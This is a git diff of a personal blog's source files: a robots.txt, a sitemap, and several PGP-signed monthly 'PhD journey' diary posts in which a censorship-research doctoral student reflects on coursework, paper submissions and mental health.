    \ No newline at end of file diff --git a/public-clearnet/robots.txt b/public-clearnet/robots.txt new file mode 100644 index 0000000..f0d17b3 --- /dev/null +++ b/public-clearnet/robots.txt @@ -0,0 +1,3 @@ +User-agent: * +Disallow: / +Sitemap: https://blog.alipour.eu/sitemap.xml diff --git a/public-clearnet/sitemap.xml b/public-clearnet/sitemap.xml new file mode 100644 index 0000000..991df55 --- /dev/null +++ b/public-clearnet/sitemap.xml @@ -0,0 +1 @@ +https://blog.alipour.eu/2026-07-24T00:00:00+00:00https://blog.alipour.eu/categories/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/dkim/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/dmarc/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/dns/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/dovecot/2026-07-24T00:00:00+00:00https://blog.alipour.eu/categories/guides/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/homelab/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/mail/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/nginx/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/opendkim/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/postfix/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/postfixadmin/2026-07-24T00:00:00+00:00https://blog.alipour.eu/posts/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/roundcube/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/self-hosting/2026-07-24T00:00:00+00:00https://blog.alipour.eu/posts/self_hosting_mail/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/spf/2026-07-24T00:00:00+00:00https://blog.alipour.eu/tags/2026-07-24T00:00:00+00:00https://blog.alipour.eu/phd_journey/june_2026/2026-06-23T20:00:07+00:00https://blog.alipour.eu/phd_journey/2026-06-23T20:00:07+00:00https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/ctf/2026-06-05T12:00:00+00:00https://blog.alipour.eu/categories/ctf/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/lfi/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/linux/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/php/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/privesc/2026-06-05T12:00:00+00:00https://blog.alipour.eu/categories/security/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/tuwien/2026-06-05T12:00:00+00:00https://blog.alipour.eu/tags/web/2026-06-05T12:00:00+00:00https://blog.alipour.eu/archive/2026-05-10T22:46:10+00:00https://blog.alipour.eu/archive/face_of_rejection/2026-05-10T22:46:10+00:00https://blog.alipour.eu/phd_journey/april_2026/2026-05-03T03:26:09+00:00https://blog.alipour.eu/posts/h3ll0_fr1end/2026-05-02T16:17:02+00:00https://blog.alipour.eu/tags/cloudflare/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/docker/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/jellyfin/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/nextcloud/2026-02-02T00:00:00+00:00https://blog.alipour.eu/posts/pi_service_touchup/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/raspberrypi/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/security/2026-02-02T00:00:00+00:00https://blog.alipour.eu/tags/tailscale/2026-02-02T00:00:00+00:00https://blog.alipour.eu/posts/blackout/2026-01-26T07:21:51+00:00https://blog.alipour.eu/posts/2025_highlight/2026-01-05T18:53:54+00:00https://blog.alipour.eu/posts/seeing_the_light/2025-12-25T11:26:04+00:00https://blog.alipour.eu/posts/boredom/2025-12-21T09:30:00+01:00https://blog.alipour.eu/tags/movienight/2025-12-21T09:30:00+01:00https://blog.alipour.eu/posts/how_i_am_doing/2025-12-15T08:27:13+00:00https://blog.alipour.eu/posts/setting_boundries/2025-12-04T14:38:36+00:00https://blog.alipour.eu/phd_journey/november_2025/2025-11-30T07:53:40+00:00https://blog.alipour.eu/tags/dnsmasq/2025-11-23T00:00:00+00:00https://blog.alipour.eu/tags/hostapd/2025-11-23T00:00:00+00:00https://blog.alipour.eu/posts/house_upgrade/2025-11-23T00:00:00+00:00https://blog.alipour.eu/tags/iot/2025-11-23T00:00:00+00:00https://blog.alipour.eu/tags/networking/2025-11-23T00:00:00+00:00https://blog.alipour.eu/tags/raspberry-pi/2025-11-23T00:00:00+00:00https://blog.alipour.eu/tags/wifi/2025-11-23T00:00:00+00:00https://blog.alipour.eu/posts/loop_of_doom/2025-11-07T13:45:52+00:00https://blog.alipour.eu/posts/cupid/2025-11-04T19:35:16+00:00https://blog.alipour.eu/phd_journey/october_2025/2025-10-31T08:40:43+00:00https://blog.alipour.eu/tags/e2ee/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/email/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/gmail-cse/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/pgp/2025-10-30T00:00:00+00:00https://blog.alipour.eu/categories/privacy/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/privacy/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/proton/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/s/mime/2025-10-30T00:00:00+00:00https://blog.alipour.eu/posts/e2ee/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/tuta/2025-10-30T00:00:00+00:00https://blog.alipour.eu/tags/crime-fiction/2025-10-25T07:52:53+00:00https://blog.alipour.eu/tags/family-tree/2025-10-25T07:52:53+00:00https://blog.alipour.eu/posts/murder_mystery_night/2025-10-25T07:52:53+00:00https://blog.alipour.eu/tags/mafia/2025-10-25T07:52:53+00:00https://blog.alipour.eu/tags/noir/2025-10-25T07:52:53+00:00https://blog.alipour.eu/posts/sadness/2025-10-24T12:48:31+00:00https://blog.alipour.eu/categories/blog/2025-10-23T19:31:12+02:00https://blog.alipour.eu/tags/comments/2025-10-23T19:31:12+02:00https://blog.alipour.eu/tags/giscus/2025-10-23T19:31:12+02:00https://blog.alipour.eu/tags/hugo/2025-10-23T19:31:12+02:00https://blog.alipour.eu/categories/meta/2025-10-23T19:31:12+02:00https://blog.alipour.eu/posts/comments-rss-papermod/2025-10-23T19:31:12+02:00https://blog.alipour.eu/tags/papermod/2025-10-23T19:31:12+02:00https://blog.alipour.eu/tags/rss/2025-10-23T19:31:12+02:00https://blog.alipour.eu/posts/danya/2025-10-21T08:41:58+00:00https://blog.alipour.eu/posts/skin_routine/2025-10-20T18:47:04+00:00https://blog.alipour.eu/posts/papermod-views-debugging-story/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/analytics/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/busuanzi/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/debugging/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/goatcounter/2025-10-18T10:45:00+00:00https://blog.alipour.eu/categories/stories/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/vercount/2025-10-18T10:45:00+00:00https://blog.alipour.eu/tags/fabrication/2025-10-17T00:00:00+00:00https://blog.alipour.eu/tags/flask/2025-10-17T00:00:00+00:00https://blog.alipour.eu/posts/inet_logo/2025-10-17T00:00:00+00:00https://blog.alipour.eu/tags/scd41/2025-10-17T00:00:00+00:00https://blog.alipour.eu/tags/soldering/2025-10-17T00:00:00+00:00https://blog.alipour.eu/tags/ws2812/2025-10-17T00:00:00+00:00https://blog.alipour.eu/posts/scent_of_a_woman/2025-10-13T08:52:10+00:00https://blog.alipour.eu/posts/hobbies/2025-10-10T07:04:54+00:00https://blog.alipour.eu/posts/relationships/2025-10-05T08:03:31+00:00https://blog.alipour.eu/phd_journey/september_2025/2025-09-30T09:48:21+00:00https://blog.alipour.eu/posts/minecraft_server/2025-09-29T09:06:29+00:00https://blog.alipour.eu/categories/games/2025-09-29T09:06:29+00:00https://blog.alipour.eu/tags/geyser/2025-09-29T09:06:29+00:00https://blog.alipour.eu/categories/homelab/2025-09-29T09:06:29+00:00https://blog.alipour.eu/tags/lvm/2025-09-29T09:06:29+00:00https://blog.alipour.eu/tags/minecraft/2025-09-29T09:06:29+00:00https://blog.alipour.eu/tags/paper/2025-09-29T09:06:29+00:00https://blog.alipour.eu/categories/devops/2025-09-19T00:00:00+00:00https://blog.alipour.eu/tags/letsencrypt/2025-09-19T00:00:00+00:00https://blog.alipour.eu/categories/notes/2025-09-19T00:00:00+00:00https://blog.alipour.eu/posts/tor_clearnet_blog/2025-09-19T00:00:00+00:00https://blog.alipour.eu/tags/tor/2025-09-19T00:00:00+00:00https://blog.alipour.eu/tags/3x-ui/2025-09-09T11:05:00+02:00https://blog.alipour.eu/tags/bypass/2025-09-09T11:05:00+02:00https://blog.alipour.eu/posts/vpn/2025-09-09T11:05:00+02:00https://blog.alipour.eu/tags/trojan/2025-09-09T11:05:00+02:00https://blog.alipour.eu/tags/vpn/2025-09-09T11:05:00+02:00https://blog.alipour.eu/tags/xray/2025-09-09T11:05:00+02:00https://blog.alipour.eu/phd_journey/augest_2025/2025-08-31T07:49:24+00:00https://blog.alipour.eu/tags/hedgedoc/2025-08-29T00:00:00+00:00https://blog.alipour.eu/posts/hedge_doc/2025-08-29T00:00:00+00:00https://blog.alipour.eu/tags/coturn/2025-08-26T00:00:00+00:00https://blog.alipour.eu/tags/element-call/2025-08-26T00:00:00+00:00https://blog.alipour.eu/tags/livekit/2025-08-26T00:00:00+00:00https://blog.alipour.eu/tags/matrix/2025-08-26T00:00:00+00:00https://blog.alipour.eu/posts/matrix_setup/2025-08-26T00:00:00+00:00https://blog.alipour.eu/tags/synapse/2025-08-26T00:00:00+00:00https://blog.alipour.eu/tags/webrtc/2025-08-26T00:00:00+00:00https://blog.alipour.eu/posts/hello-world/2025-08-25T08:53:38+00:00https://blog.alipour.eu/about/ \ No newline at end of file diff --git a/public-clearnet/sources/PhD_journey/April_2026.md b/public-clearnet/sources/PhD_journey/April_2026.md new file mode 100644 index 0000000..4862d9d --- /dev/null +++ b/public-clearnet/sources/PhD_journey/April_2026.md @@ -0,0 +1,24 @@ ++++ +title = "April '26" +date = 2026-05-03T03:26:09Z +draft = false ++++ + +I know, I know. I've been lacking updates. I'm so so sorry. I will try to summerize what I've been up tp in the past few months. + +Up until the middle of March, I've been taking care of the last bits of coursework I had to do during my prep phase. And now I'm done with that all together. + +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn't know much about. Though no mail server for me unfortunately. + +I was then approached by a colleague who's research needed a bit of push to get to the IMC deadline, and we pushed "HARD". We submitted the paper with so much chaos I would say. But we did it. + +Now I wonder, both my research projects that I've been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :) + +I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :) + +I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/April_2026.md.asc b/public-clearnet/sources/PhD_journey/April_2026.md.asc new file mode 100644 index 0000000..5c0e806 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/April_2026.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ= +=Wtha +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/PhD_journey/Augest_2025.md b/public-clearnet/sources/PhD_journey/Augest_2025.md new file mode 100644 index 0000000..f703754 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/Augest_2025.md @@ -0,0 +1,31 @@ ++++ +title = "Augest '25" +date = 2025-08-31T07:49:24Z +draft = false ++++ + +This month started with me setting up a deadline for Conext student workshop. +I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. +I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. +This darn thing wasted so much of my time! +I did learn a bit along the way, but oh well. +Such is life! + +Overall not the most productive month, but one reason for it is that I have't really had a real vacation in a long time. +I will be taking a 10 day vacation next month just to reset, and gain back my power. +I cross my fingers for the month ahead! + +My social life has been becoming better too. +I've been trying to attend more ZiS events to meet people, make new connections, and to have fun! +My depression is a serious issue. +I also have anxiety disorder that I'm talking with my therapist about. +I will most likely start taking SSRIs once again. +Idiot me was cutting it when the catasrophe in February happened and did not think twice to keep taking them. +I'm really glad I was able to recover, though it was not easy at all, it did work out. + +I do think there is bright nice future ahead of me; I just need to keep on trucking and not worry too much. +Things will workout! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/Augest_2025.md.asc b/public-clearnet/sources/PhD_journey/Augest_2025.md.asc new file mode 100644 index 0000000..e6e3fef --- /dev/null +++ b/public-clearnet/sources/PhD_journey/Augest_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSqiRBAAv6TLJK+7ycaudx3U1GGOdsihVMLEG/AXcj9fJFIWKouz0AXU3xEJl8Ks +lyF1tiik69ZuDqToAj9buwiIG+fll/nLElWP+DVSpDrHh86tEtQFlf9inf8DYXGK +3GUhTLyAleNRxSNVe7ZG7SpIN9gk/WYRxbhHQAIVPSWKH+IMTNJuWUtIBXbSEy1K +SYcl4coVXJwDOPLj+huKrBQoScmUSPYow5KELzQOOLK+HG6M9vXSq3+hDUiWx4MT +OaEFEU47rit9lEsUzjKNh56WthwBf3sWdLPgCxFfZY6L8Pk7GmOJC/XPB/31RBX1 +VFNy+IqbYPUlafphpT9SuhyLktqKNL9BnK9700dz6w3xI46B8v8d8kmVyoGhzTyi +rEt3baTm874Jo4PSZjToL7+6VpbvlzFz57G/1WmmX1jSr++L7Cncyz2Oo6H+Bpw9 +Ax2JFZz760sxs978Y2fno5o5rkVKEt+GgLA+WkSb0NCq/r67wEhMR5/i4oBTOHmC +OWbsxUDTTE7JhPn95LUUb7oji2IxMdLC6RlPPNb+VYlhFbju0IhhArZYqc4vuieC +5CQIbWuYoPIpvf0XCQHHABJF+zzq6AzJhnIbgGg58sZ/yrYFM8cI6GVxsOy92ADT +eCzo4ktTpt4YHhw/Fj/eRzzvJzRrtP3+AtIvQjDwKigco7f3wgY= +=vvS6 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/PhD_journey/November_2025.md b/public-clearnet/sources/PhD_journey/November_2025.md new file mode 100644 index 0000000..6d81d9e --- /dev/null +++ b/public-clearnet/sources/PhD_journey/November_2025.md @@ -0,0 +1,25 @@ ++++ +title = "November '25" +date = 2025-11-30T07:53:40Z +draft = false ++++ + +# 4th +Again, let's setup some goals for the month. +- Literature review +- Keeping up with my coursework +- Working on my codebase +- Getting healthier diet and excercise-wise + +# 30th +I did a bit of literature review, it's still lacking unfortunately. + +Coursework is ok-ish. I've been trying to work on assignements and understand them. + +I rewrote the whole codebase, now we have a modularized design that should be easier to add to. + +I've been eating more and more healthy, excercise is still lacking. I'll get to that later. + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/November_2025.md.asc b/public-clearnet/sources/PhD_journey/November_2025.md.asc new file mode 100644 index 0000000..dc91c6b --- /dev/null +++ b/public-clearnet/sources/PhD_journey/November_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64 +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8 +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo= +=F8i0 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/PhD_journey/October_2025.md b/public-clearnet/sources/PhD_journey/October_2025.md new file mode 100644 index 0000000..4264f02 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/October_2025.md @@ -0,0 +1,158 @@ ++++ +title = "October '25" +date = 2025-10-31T08:40:43Z +draft = false ++++ + +# 1st +Ok, let's start the month by declareing some goals and agendas. + +What do I want to do this month? +- Finish previous semester. +- Pick the last of the course work for my prep phase. +- Finalize the CoNEXT student workshop paper. +- Finish my second RIL. +- Start my 3rd and last RIL. +- Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? +- More literature review, persumabely all of FOCI related papers this month. +- Work on my codebase: + 1. Do code cleaning + 2. Add comments for code + 3. Start working on ICMP stuff +- More socializing! :-) +- A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. +- Enhance your routines and add exercise to it please! + +Alright. Now that the goals are set, let's start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I'm doing work! + +I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It's not something I want to talk about in my blog, well at least for now, but I've tried to talk about it with my closest friends. +It's so sad that things happened the way they did. +I never really fully recovered. +But... time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn't listen. +My parents didn't know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven't been able to figure out. +In the end, I just endured pain, a lot of pain. +I'm glad I didn't break, but I do think most people would've. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress. + +Did I mention I didn't show up in office for 6 weeks? +And that when I came back I was hit again with things I didn't understand? +Sometimes in life shit happens, but this was a whole new level. +I don't know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I've been trying to just lay low, stick to myself, and stay the hell out of trouble. + +# 3rd +Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I'm feeling more content and secure. +I'm feeling true happiness. +I don't know how much the SSRI is affecting me, but I know one thing for sure. +I'm just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I'm on top of the world. +Thinking about it a bit more, I do think I'm being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it's just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah... But it's going to be alright, I'm sure of it. +I have an exam I need to prepare for on 7th, but I've been procrastinating. I should plan my days and stick to it. Hell yes. + +# 5th +My student workshop paper to CoNEXT '25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic. + +First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details. + +Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it's evaluation. +This kinda defeated the purpose of what I was trying to do, to provide "tools". + +Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future. + +# 7th +Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don't know how I did, but I'm glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I've made, which is a really bad sign... +I hope I won't have to take another extra course in the next semesters, that would just be annoying. +I really do hope so. + +# 8th +I'm back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It's a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again. + +# 9th +I will be doing literature review today. +Yesteday I didn't manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group's amazing people! +It'll be fun! :) + +Another fun thing is that I will get my very own physical GFW box today. +It's probably the most majestic thing that could've happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess. + +# 13th +Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I'll be having one, at most two courses. + +# 17th +Another unproductive week. +I think this was the worst one actually. +I can't focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX's 3-slide slide deck to enhance my focus, I'll give it a try. + +I also need to address the elephant in the room, and start working on the codebase. + +I also need to look at the GFW files more, and try to find useful stuff there. + +But first I need to work on HTDN's papers, and craft the slides. That is the highest priority on my list. I'll do it. + +--- + +# 31st +It went by. +It went by quickly. +I wasn't able to pick myself up this month, but I won't let it happen in the following. +I want to be truthful, so I won't hide anything. +the only thing is I should've let myself grief a bit, and I did. I'm proud of it. It's fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise. + +Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it's not a bad thing. The problem is I don't have much to present, and that's why this is the content. Idk if I change the structure or not, but for now it is what it is. + +Ok, let's set some goals for next month in advance, then we can see how good we did. +- I want to work on ICMP stuff and make it work nicely. +- I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. +- I need to keep up with my courses, including the German class. +- I might work more on the GFW leaked data, but I think it's not a priority for me for now. So... scrap this last one. + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/October_2025.md.asc b/public-clearnet/sources/PhD_journey/October_2025.md.asc new file mode 100644 index 0000000..31bbf49 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/October_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9 +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5 +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0 +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/ +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8= +=NvQ7 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/PhD_journey/September_2025.md b/public-clearnet/sources/PhD_journey/September_2025.md new file mode 100644 index 0000000..92ba367 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/September_2025.md @@ -0,0 +1,39 @@ ++++ +title = "September '25" +date = 2025-09-30T09:48:21Z +draft = false ++++ + +I started the month by finalizing my draft for Conext Student workshop. +Let's cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I'd have until 30th to do the camera ready stuff which should be plenty of time. + +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too! + +Surprise surprize, the notification did not come and it's the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I've been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October... +Drat! + +I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that's been done so far. + +My social life has been much more exciting too. +I've been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don't have the courage to write about now. ;) +Buuuuuut... I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :) + +And with that, that's my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/PhD_journey/September_2025.md.asc b/public-clearnet/sources/PhD_journey/September_2025.md.asc new file mode 100644 index 0000000..7eec988 --- /dev/null +++ b/public-clearnet/sources/PhD_journey/September_2025.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv 